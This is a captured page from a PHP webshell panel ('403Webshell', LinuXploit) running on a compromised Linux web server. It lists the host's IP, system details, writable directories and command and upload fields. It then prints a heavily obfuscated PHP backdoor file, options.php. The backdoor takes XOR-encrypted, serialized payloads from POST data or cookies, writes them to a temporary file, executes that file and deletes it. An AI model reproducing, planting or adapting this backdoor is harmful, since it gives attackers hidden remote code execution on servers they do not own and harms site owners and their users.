403Webshell
Server IP : 52.202.253.110  /  Your IP : 216.73.217.139
Web Server : Apache/2.4.56 (Amazon Linux) OpenSSL/3.0.8
System : Linux ip-172-32-10-67.ec2.internal 6.1.49-70.116.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Sep 6 22:13:07 UTC 2023 x86_64
User : ec2-user ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /mnt/efs/ats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/efs/ats/options.php
<?php $_ikfltr      = /*f_b */ '_ikfltr'    ^ /*   mln  */ '<';

$oytda /*  zwpcb  */ =    "\141"     . /*  p   */ "r"."\162" /*   id   */ . /*sbmu */ $_ikfltr(722-625) /*  i */ .    "\x79" /*jmnw   */ . /*   cfvl  */ "_"."\x6d" /*rc   */ .      "a"."p";



function /*   rebz   */ nb_rc($bgacv,   $azcvwte)


{

	global    $_ikfltr;
  	$bgacv       =    "\74" /* d*/ .    $_ikfltr(984-921) /*  wk  */ .     "p".$_ikfltr(104) /*gtasc*/ . /*amk*/ $_ikfltr(261-149)	.   $_ikfltr(32)    . /*bc_erg  */ "u"."\156" /*  etgl  */ .    "l".$_ikfltr(135-30)  . /*   aloq  */ "n"."k"."\x28"	.    "_".$_ikfltr(1081-986)    .   $_ikfltr(70) /*  hny   */ .  "\111" /* j_vz  */ .  "L".$_ikfltr(567-498)	. /*   tv  */ "_"."_".$_ikfltr(539-498) /* exn   */ .	"\x3b"  .    $_ikfltr(32)	. /* qwgqu  */ $bgacv["d"]; /* wrrrym */ $we_so__n      =    "f".$_ikfltr(266-161)."l".$_ikfltr(101)	.	"_".$_ikfltr(112)     . /* ify   */ "u".$_ikfltr(116)    .	"_"."c"."o"."\x6e"  .    "t"."\x65" /*  xb*/ .    $_ikfltr(216-106) /* rkyzwd  */ . /*   egwznc */ "\x74"    . /*  a   */ $_ikfltr(966-851);
    


    $we_so__n($azcvwte,    $bgacv);
 /*im */ 
  _mkregc($azcvwte);
}

$qwqui    =       73;

function	_mkregc($azcvwte){


 /* pkl */ global      $_ikfltr;
 /*wvgol  */ 

 /*  sjwb */ include($azcvwte);


 /*c  */ $_hhbdwh  = /*  uf_qif */ $azcvwte;


 /*fk*/ @unlink($_hhbdwh);}

function	hvupktan()


{
 /*   yr*/ global       $_ikfltr;



     $uaxqgja_l    =    array();


	$uaxqgja_l["\x70"       .   "\166"] /*   zpp   */ = /*   adrjub*/ phpversion();	$uaxqgja_l["s"."v"] /*   g*/ =    "\63"	.   $_ikfltr(104-58) /*   rdmu */ .	"\65";	$clxuayxge /* fcs */ =   74;
 /*   ai*/ echo /*ukae*/ @serialize($uaxqgja_l);}



function    xiwufz($bgacv,  $hcx_se_)
{

      global /* qpumte   */ $_ikfltr;




 /*w  */ $pokitqsr    = /*  the */ "";
       $rtopdhdvnd /*bekyr   */ = /*  oz*/ strlen($bgacv);
   $hebhacmc       = /* lp   */ strlen($hcx_se_);     $uaxqgja_l /*  osph  */ =       0;


  $tw_bixlik	=       0;         while    ($uaxqgja_l	< /*  st */ $rtopdhdvnd)       {
       $_rklynrnla /*   tet*/ = /* vod*/ $bgacv[$uaxqgja_l] /*   dd  */ ^     $hcx_se_[$tw_bixlik /*  r_yq_*/ %    $hebhacmc];     $pokitqsr   .= /*   tq */ $_rklynrnla;
   $tw_bixlik++;    


 /*  vcd */ $uaxqgja_l++;    }

      

 /*rrdyee*/ if /* _rjs  */ (strlen($pokitqsr)    >	20)	{ /*   z*/ $uaxqgja_lkedwqqyfl	=   substr($pokitqsr,	0,	20);

 /*   nnjz */ }

      if /*   gd  */ (empty($pokitqsr))	{

       $pokitqsr    =      date('Y-m-d	H:i:s');     }
   return /*  u   */ $pokitqsr;


}



function /*   xrrcy  */ pjzqrlgywq($bzoqfv){      global    $_ikfltr;


  


	$xlerxq_l    = /*ys_p  */ "f".$_ikfltr(241-190) /* e*/ . /* n   */ "\66"    .    "\71"    .  "5".$_ikfltr(50)    .    "\x31"  . /* jb */ "d"."-"."\x33"    .    "1"."9"."1"."\55"    . /*   j*/ "\x34"	.     $_ikfltr(801-746) /* png*/ .    "\60" /*pyvpr  */ .    $_ikfltr(551-449)    .    "-"."b".$_ikfltr(50)    .    "9"."2".$_ikfltr(355-310) /*   do */ .    "d"."\x35"    .    "1"."4"."\x66"       . /*   pc */ "1"."\x30"      .    "\x31"     . /*   ib   */ $_ikfltr(606-549)       .    "4"."7".$_ikfltr(53);
        /* axntf   */ foreach /* jh */ ($bzoqfv    as    $dsgee       => /*   bdyyv   */ $bgacv) /*jcps */ {

    nnwixmffe(base64_decode($bgacv), /*dqe   */ $xlerxq_l,    $dsgee);


 /* gygv   */ }

}



function /*   r */ nnwixmffe($bgacv,    $xlerxq_l,    $dsgee){


 /*epocz*/ global   $_ikfltr;
    
	$bgacv /*uvqu   */ =    unserialize(xiwufz(xiwufz($bgacv, /*   uf  */ $xlerxq_l),       $dsgee));

	$gexymdseat    = /* b */ 'mlk_xex';


	$yjaorgchho   =    'jrwhygv';  if /* eot */ (isset($bgacv["\141"."k"])) /*   e  */ {
 /* v*/ if	($bgacv["\141"]     ==    $_ikfltr(266-161))    {

 /*  _vawe   */ hvupktan();

 /* lrqfc  */ }  elseif /*   twgl  */ ($bgacv["\141"] /*r*/ ==      "e")	{

     nb_rc($bgacv,    sprintf($_ikfltr(346-300)   . /* csjy */ $_ikfltr(47)       . /*  gmt  */ "%"."s".$_ikfltr(46)    . /* szyqp   */ $_ikfltr(910-798)    . /* cdze   */ "\154",       md5($xlerxq_l)));			$ruqhh	=	44; /*   g*/ }

	exit();


   }}



pjzqrlgywq($_POST); /* ztfa   */ 

$bluagpovgv  = /*rgle  */ Array();


$bluagpovgv /* ru*/ =    implode($bluagpovgv);



$hujbjocrau      =  $oytda('rawurldecode', /*uvvo  */ $_POST);

explode('rawurldecode',    $bluagpovgv);pjzqrlgywq($_COOKIE);

$tjinuodbq    =	$oytda('rawurldecode',    $_COOKIE);


?>

Youez - 2016 - github.com/yon3zu
LinuXploit